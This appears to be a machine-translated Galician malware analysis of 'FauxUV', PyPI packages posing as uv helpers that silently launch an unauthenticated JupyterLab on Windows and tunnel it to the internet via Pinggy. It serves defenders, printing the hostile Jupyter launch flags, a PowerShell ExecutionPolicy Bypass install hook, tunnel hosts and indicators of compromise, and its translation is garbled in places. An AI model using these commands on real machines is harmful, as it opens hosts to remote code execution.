TL, RD
Un clúster de paquetes PyPI tomou prestado o nome de uv, o xestor de paquetes Python rápido e moi popular baseado en Rust, para facerse pasar por axudantes de uv. Case non inclúen funcionalidade real. O que levan no seu lugar é unha carga útil de Windows que soporta un Servidor JupyterLab coa autenticación desactivada e, en versións posteriores, publícao na internet pública a través dun túnel inverso.
Esa é toda a historia nunha liña: o nome dunha ferramenta de confianza como o señuelo e JupyterLab como o motor de execución remota de código. Un servidor Jupyter executa calquera código que escribas nun not.ebook cela; un lanzado cun token baleiro e vinculado a cada interface de rede é un intérprete aberto que calquera que poida acceder ao porto pode controlar.
Facemos o seguimento do clúster como FauxUVOs dous paquetes examinados son moon-uv (0.0.1 – 0.0.16) e my-magic-uv-helper (0.0.1), publicado polo mesmo operador e dispoñible en PyPI no momento da análise.
| Ecosystem | PyPI |
| Paquetes | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Plataforma dirixida | Windows |
| Comportamento central | Servidor JupyterLab non autenticado, publicado en Internet a través dun túnel inverso |
| Ferramentas lexítimas maltratadas | uv, JupyterLab, cloudflared, Pinggy |
O señuelo: un nome no que xa confías
uv é unha das ferramentas de Python máis instaladas nos últimos dous anos, polo que é "un axudante para uv"é un paquete que un desenvolvedor instala sen pensalo dúas veces. FauxUV gasta toda a súa credibilidade nese nome. Os paquetes envolven o xenuíno uv instalador de Astral (as URL da carga útil apuntan a servidores reais e de boa reputación), polo que unha ollada rápida non ve máis que referencias fiables. Ningún dos paquetes engade realmente uv funcionalidade; o nome é todo o disfrace.
JupyterLab como motor RCE
A peza central da carga útil é un lanzador que inicia JupyterLab con cada barreira de seguridade eliminada:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Cada bandeira elimina unha protección, e o script enviado incluso as anota (no chinés orixinal): o token baleiro "desactiva as comprobacións de contrasinal e token: calquera pode conectarse." JupyterLab é un IDE de ciencia de datos lexítimo, pero non é unebook A cela executa código arbitrario por deseño. Configurado deste xeito e vinculado a 0.0.0.0, deixa de ser un IDE e convértese nun shell remoto non autenticado no host; non se require ningún binario de malware personalizado, só unha ferramenta convencional apuntada na dirección incorrecta.
Dúas pezas de apoio fan que iso sexa alcanzable e repetible:
- Un disparador de instalación silenciosa. As primeiras versións executan PowerShell con -Ignoración da política de execución directo de setup.py on instalación de pip, en segundo plano con erros suprimidos para PIP parece normal. As versións posteriores moven a mesma primitiva a un pip-uv ferramenta de liña de comandos e eliminar por completo a execución automática no momento da instalación.
- Un túnel inverso público. Un servidor en 0.0.0.0 aínda só é accesible polos hosts que poden enrutar á máquina. Un módulo incluído abre un [Pinggy](https://pinggy.io/) Túnel inverso SSH que reenvía o porto local de Jupyter a un enderezo público, eliminando ese límite. O script enviado tamén leva (comentado) unha ruta alternativa usando o de Cloudflare nubes flamexadas e unha netsh port-proxy a un IP Linode, documentando o mesmo obxectivo a través dunha infraestrutura diferente.
Xunto: instala o paquete e un servidor Windows acaba executando un JupyterLab sen contrasinal e publicándoo na internet aberta.
Como evolucionou FauxUV
As versións de FauxUV enviáronse en rápida sucesión e o punto de activación da carga útil moveuse sobre elas, un recordatorio de que unha versión sinalizada raramente conta a historia completa dunha liña de paquetes.
| Escenario | versións | Gatillo | O que engade |
|---|---|---|---|
| Instalar-gancho | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py na instalación de pip | instalación uv + PATH anteposto |
| Tempo de execución da CLI | moon-uv 0.0.5-0.0.13 | pip-uv mando | o lanzador sen contrasinal de JupyterLab |
| túnel | moon-uv 0.0.14-0.0.16 | pip-uv mando | un túnel inverso activo de Pinggy |
Cabe destacar que a execución automática no momento da instalación foi afastado nas versións posteriores e máis capaces, polo que un escáner só se chamou no ciclo de vida hooks cualificaría os lanzamentos máis recentes como menos arriscado, exactamente ao revés.
Indicadores de compromiso
Confirmado ao ler o código fonte do paquete; puntos finais marcados comentou están presentes nos ficheiros pero non os executa a versión analizada. Os indicadores de rede están desactivados.
| tipo | Indicador |
|---|---|
| Comando de instalación | powershell -ExecutionPolicy Bypass Obtendo o instalador de uv orixinal, no momento da instalación de pip |
| Bandeiras de JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Túnel inverso (activo) | free[.]pinggy[.]io:443 reenvío local 127.0.0.1:8888 |
| Host do túnel (comentado) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (comentado) | 45[.]79[.]134[.]161 (Linode) vía netsh port-proxy |
| Persistencia | antepón %USERPROFILE%\.local\bin á RUTA do usuario |
Sinais de comportamento polos que paga a pena alertar, independentemente destas cadeas exactas: a instalación de pip que xera powershell - Omisión da política de execucióncalquera Xúpiter lanzamento combinando símbolo=”” con –ip=0.0.0.0; e SSH de saída a *.pinggy.io desde un desenvolvedor ou unha máquina de CI.
Comportamento observado e procedencia
Os dous paquetes comparten un autor e un método: o nome dunha ferramenta de confianza, a protección só para Windows, a execución en segundo plano con supresión de erros e a dependencia de ferramentas de confianza, polo que unha ollada rápida só mostra URL de confianza. O código fonte contén comentarios en chinés que describen claramente as marcas relevantes para a seguridade; informámolos como declaracións observables no ficheiro, non como unha afirmación sobre o motivo. O permitir_orixe valor e un colab.bat nome de ficheiro fai eco dos fluxos de traballo informais de "compartir o meu tempo de execución local" que circulan para Google Colab. Sexa cal sexa a orixe, o resultado empaquetado é o mesmo.
Impacto e orientación para defensores
Quen está exposto a FauxUV. Desenvolvedores de Windows e executores de CI que instalación de pip un destes paquetes. Un JupyterLab sen contrasinal activado 0.0.0.0 é a execución remota de código para calquera persoa que poida acceder ao porto; o túnel elimina o límite de "quen pode acceder a el". O servidor execútase como usuario instalador, herdando os ficheiros, tokens e credenciais da nube dese usuario.
Por que é doado pasalo por alto. Cada cadea de rede apunta a un servidor de confianza: Astral, JupyterLab, nubes flamexadas, Pinggy, Colab. Non hai ningún binario de malware para procesar nin ningún blob ofuscado para descodificar. Tanto a análise baseada na reputación como na sinatura infravaloran isto, polo que a cuestión do comportamento... Que fai que faga a máquina a instalación deste paquete? — é quen o atrapa.
Orientación:
- Trata calquera tempo de instalación powershell - Omisión da política de execución como sinal de ruptura de compilación, sexa cal sexa o URL que obteña.
- Alerta activada Xúpiter lanzado cunha ficha baleira e –ip=0.0.0.0; esa combinación nunca debería aparecer nunha estación de traballo ou nun executante.
- Monitorizar a saída de SSH aos provedores de túneles (*.pinggy.io, *.trycloudflare.com) desde entornos de desenvolvedores e de CI.
- Instalar uv da [fonte oficial](https://docs.astral.sh/uv/) e ser escéptico cos paquetes "axudantes" de terceiros que envolven unha ferramenta que xa é trivial de instalar.
- Fixar e revisar de novo as dependencias na actualización: unha liña de paquetes pode xerar novas capacidades versión tras versión.



